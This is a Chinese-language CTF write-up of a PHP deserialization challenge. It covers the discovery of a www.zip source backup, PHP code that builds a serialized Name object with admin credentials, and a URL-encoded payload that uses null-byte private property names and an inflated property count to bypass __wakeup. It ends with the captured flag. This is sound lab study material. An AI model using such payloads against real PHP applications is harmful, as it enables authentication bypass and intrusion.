赞
踩
进入后说有备份网站的习惯,查看源码和进入/flag.php中发现都没有线索,扫站
会发现有个www.zip(扫了好久,下载出来就关了,我就不再扫一遍了)
发现有flag.php,
提交后发现失败,再次寻找
打开index.php
发现unserialize(反序列化标志)
我在这方面不是很熟悉,直接开始冲浪
因为我看完之后找不到下手点(我纯笨b) ,开始冲浪别人的wp
看完了,好像会了,class.php中有destruck()函数
发现需求的是username恒等于'admin'且password要为100,这样才会输出flag,那么我们就需要进行修改来篡改成正确的数据
大佬的意思是将修改后的数据序列化输出,然后用序列化输出的数据再次绕过 __wakeup()函数的执行
- <?php
-
- class Name{
- private $username = ‘nonono‘;
- private $password = ‘yesyes‘;
-
- public function __construct($username,$password){
- $this->username = $username;
- $this->password = $password;
- }
- }
- $a = new Name(‘admin‘,100);
- $b = serialize($a);
- echo $b;
运行之后即可获得序列化的结果,
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
揭示:
但是现在还有两个问题,
1是username和password都是用private声明的,需要前加00才可
O:4:%22Name%22:2:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
2是需要绕过__wakeup的执行(大佬说:在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行)
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
最终结果:
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
添加后即可获得flag
flag{e95052b8-e3bb-4386-93a6-8c09a9a3b11e}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。